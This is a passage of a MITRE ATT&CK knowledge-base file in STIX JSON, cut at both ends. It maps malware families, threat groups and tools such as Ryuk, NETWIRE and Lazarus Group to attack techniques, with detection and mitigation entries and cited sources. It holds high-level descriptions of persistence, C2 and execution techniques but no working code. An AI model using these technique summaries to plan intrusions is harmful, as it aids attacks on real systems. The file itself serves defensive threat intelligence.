2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T00:34:16.518Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used administrative utilities to deliver Trojan components to remote systems.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ee97b66b-3d21-4b8e-af8e-47988531b267","created":"2024-09-09T14:43:46.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SpectorOps Medium ClickOnce","description":"Nick Powers. (2023, June 7). Less SmartScreen More Caffeine: (Ab)Using ClickOnce for Trusted Code Execution. Retrieved September 9, 2024.","url":"https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T13:24:37.925Z","description":"Monitor dfsvc.exe child process activity with unsigned module loads, as well as activity associated with dfshim.dll. Compare with baseline of ClickOne activity to whitelist applications with valid business use-cases.(Citation: SpectorOps Medium ClickOnce)","relationship_type":"detects","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--cc279e50-df85-4c8e-be80-6dc2eda8849c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee98d9ef-4665-4da8-9b3c-95ff6924d8bf","type":"relationship","created":"2020-12-15T01:30:05.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T01:30:05.489Z","description":"[Spark](https://attack.mitre.org/software/S0543) has used HTTP POST requests to communicate with its C2 server to receive commands.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee998ebb-2960-45db-bced-7c8081dfc030","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-06-12T17:37:53.694Z","description":"[Proton](https://attack.mitre.org/software/S0279) uses macOS' .command file type to script actions.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ee9a7f72-eac2-4ca4-b82a-5c5a50618d0d","created":"2022-04-18T13:46:14.995Z","x_mitre_version":"0.1","external_references":[{"source_name":"AADInternals Documentation","url":"https://o365blog.com/aadinternals","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[AADInternals](https://attack.mitre.org/software/S0677) is written and executed via PowerShell.(Citation: AADInternals Documentation)","modified":"2022-04-18T20:44:33.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ee9da7e8-12a5-4b77-84ce-a5453874a070","type":"relationship","created":"2019-01-30T13:28:47.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.499Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can use regsvr32 for executing scripts.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eea8a891-7ebb-4589-9d36-6a801ff00818","created":"2022-02-01T16:00:17.327Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.","url":"https://securelist.com/lazarus-threatneedle/100803/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T16:31:26.798Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has created new email accounts for spearphishing operations.(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eeae0ab0-541c-401f-aa7c-af674bacdc6c","type":"relationship","created":"2021-01-11T20:00:58.324Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-11T20:00:58.324Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can use launch agents for persistence.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eeae630c-0c58-4397-90fb-05f5b60b720f","type":"relationship","created":"2017-05-31T21:33:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.111Z","description":"(Citation: F-Secure The Dukes)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eeaeb818-cb48-4f67-9975-d783c52f3ca8","created":"2024-09-17T18:00:16.210Z","revoked":false,"external_references":[{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T18:00:16.210Z","description":"(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8","target_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eeb0508f-69e8-492f-85a7-777f24c5d00d","created":"2024-03-28T04:05:02.410Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T04:05:02.410Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--eeb368b7-52b9-4320-a34f-8f3235beb22f","created":"2021-12-27T19:19:42.874Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can include a rootkit to hide processes, files, and startup.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T16:03:04.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eeb5eeab-3fa1-4670-a7ab-f6a8f7193be9","created":"2023-09-26T20:53:11.604Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T20:53:11.604Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) has dropped a plugin to monitor external drives to `C:\\Users\\Public\\It3.exe`.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eeb8635c-0297-470c-a66c-56f8e30c771e","created":"2024-08-20T20:02:00.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-23T18:45:33.896Z","description":"[Cuckoo Stealer](https://attack.mitre.org/software/S1153) can gather information about the OS version and hardware on compromised hosts.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eeb86f2c-852e-42e6-8809-8d244727bdfe","type":"relationship","created":"2020-04-29T18:44:04.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2022-01-19T17:59:15.924Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to overwrite scripts and delete itself if a sandbox environment is detected.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eeb8c856-ed89-47f5-a725-e74e7a2c20c3","created":"2022-09-29T17:36:47.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CYBERCOM Iranian Intel Cyber January 2022","description":"Cyber National Mission Force. (2022, January 12). Iranian intel cyber suite of malware uses open source tools. Retrieved September 30, 2022.","url":"https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T12:43:55.853Z","description":"[PowGoop](https://attack.mitre.org/software/S1046) can use a modified Base64 encoding mechanism to send data to and from the C2 server.(Citation: CYBERCOM Iranian Intel Cyber January 2022)","relationship_type":"uses","source_ref":"malware--c19d19ae-dd58-4584-8469-966bbeaa80e3","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eebf12c3-1146-4daa-8fd2-c74ad19362f6","type":"relationship","created":"2020-05-14T14:27:31.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."},{"source_name":"Bleeping Computer - Ryuk WoL","url":"https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/","description":"Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."}],"modified":"2021-03-05T20:30:11.434Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has called GetIpNetTable in attempt to identify all mounted drives and hosts that have Address Resolution Protocol (ARP) entries.(Citation: CrowdStrike Ryuk January 2019)(Citation: Bleeping Computer - Ryuk WoL) ","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eeccfd34-bc7a-4a94-bc27-3f5f20063ee7","type":"relationship","created":"2021-09-24T19:53:22.097Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T17:42:21.012Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has encrypted C2 commands with AES-256.(Citation: ESET Casbaneiro Oct 2019) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eed0e9c9-f849-4938-b243-5f6692d94b6b","type":"relationship","created":"2020-07-30T17:43:35.432Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}],"modified":"2020-09-23T19:29:10.225Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has used VBS code on victims’ systems.(Citation: FireEye Metamorfo Apr 2018)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eed29e0f-59c1-4fab-8268-3f0571e90748","created":"2023-04-14T22:44:01.897Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T22:44:01.897Z","description":"Disable legacy authentication, which does not support MFA, and require the use of modern authentication protocols instead.","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eed367b8-b1d1-492e-a376-6725b6db7103","created":"2021-07-16T19:28:57.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.437Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can collect the OS, and build version on a compromised host.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eed67968-2d71-4394-84a9-1240d9ba6a83","created":"2020-11-06T14:23:21.893Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"},{"source_name":"Red Canary Netwire Linux 2022","description":"TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-28T21:16:14.858Z","description":"If executing without root privileges, [Fysbis](https://attack.mitre.org/software/S0410) adds a `.desktop` configuration file to the user's `~/.config/autostart` directory.(Citation: Red Canary Netwire Linux 2022)(Citation: Fysbis Dr Web Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eed81627-aed7-477a-91e2-7be09c3d68e6","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor for newly executed processes that are associated with COM objects, especially those invoked by a user different than the one currently logged on.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eedbb286-aa6f-49a6-8e6a-283ad45f8938","created":"2022-08-24T14:36:04.038Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T14:27:11.351Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use a COM object to execute queries to gather system information.(Citation: Proofpoint Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eeea996c-6eaf-4244-b5a8-294df9c008c3","created":"2024-10-01T12:02:36.489Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-01T12:02:36.489Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) deployed malware such as YouieLoader capable of capturing victim system browser information.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Schtasks","description":"Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.","url":"https://technet.microsoft.com/en-us/library/bb490996.aspx"}],"modified":"2020-03-28T21:42:39.261Z","description":"[schtasks](https://attack.mitre.org/software/S0111) is used to schedule tasks on a Windows system to run at a specific date and time.(Citation: TechNet Schtasks)","relationship_type":"uses","source_ref":"tool--c9703cd3-141c-43a0-a926-380082be5d04","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--eeebdabe-73e3-416c-9177-1b6ae5640d72","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource, often by providing credentials that may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--eeebf544-5120-400b-9e79-d98aa070f905","created":"2023-12-06T19:21:36.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-06T19:22:18.987Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has deployed secondary payloads and third stage implants to compromised hosts.(Citation: Microsoft Ransomware as a 